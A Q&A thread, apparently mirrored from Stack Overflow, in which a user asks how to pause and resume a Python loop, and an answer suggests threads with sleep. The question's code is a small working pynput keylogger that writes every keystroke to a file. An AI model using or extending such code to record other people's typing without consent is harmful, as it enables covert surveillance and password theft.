【问题标题】:How to stop loop for a while in Python?如何在 Python 中停止循环一段时间?
【发布时间】:2022-01-24 13:49:02
【问题描述】:

我有这个代码:

from pynput.keyboard import Key, Listener
import logging
import time as t


def stop():
    print('Stop keylogging for a while')


def main():
    logging.basicConfig(filename=('keylog.txt'), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

    def on_press(key):
        logging.info(str(key))

    with Listener(on_press=on_press) as listener :
        listener.join()




main()
stop()

它把你输入的字母写在一个文件中,但我想停下来做另一个功能,然后再次开始输入输入的字母

所以我只需要在 1 小时后停止这个功能:

main()

启动此功能:

stop()

然后再次启动这个函数:

main()

我希望它循环工作

更简单:

def stop():
    print('Stop')


def main():
        while True:
            print("Working")     

while True:
# Again start main() function
        main()
# Do stop() function after 10 seconds
        stop()

当我启动这段代码 main() 无限工作时,我想在 10 秒后停止它,然后启动 stop() 函数,然后再转到 main() 函数

【问题讨论】:

  • 你想让它暂停一段时间吗?
  • 也许 => time.sleep("PUT TIME IN SECONDS")
  • 我想暂停 main() start stop() 而不是继续 main()
  • main() 循环工作
  • 那么你可以按照特定的顺序调用函数......那不应该这样做吗?

标签: python logging with-statement pynput keylogger


【解决方案1】:
from threading import Thread
import time

def main():

    print('Working')

def stop():
    print('stopped')

while 1:
    t = Thread(target=main)
    t.start()
    time.sleep(6)
    t.join()
    stop()

你可以使用线程来实现它

【讨论】:

  • 我写了更简单的解释请阅读
  • 也许您可以在 while 循环中使用回调并为 time.sleep() 函数提供睡眠时间
猜你喜欢
  • 1970-01-01
  • 2018-06-22
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2013-11-19
  • 2013-08-03
  • 1970-01-01
相关资源
最近更新 更多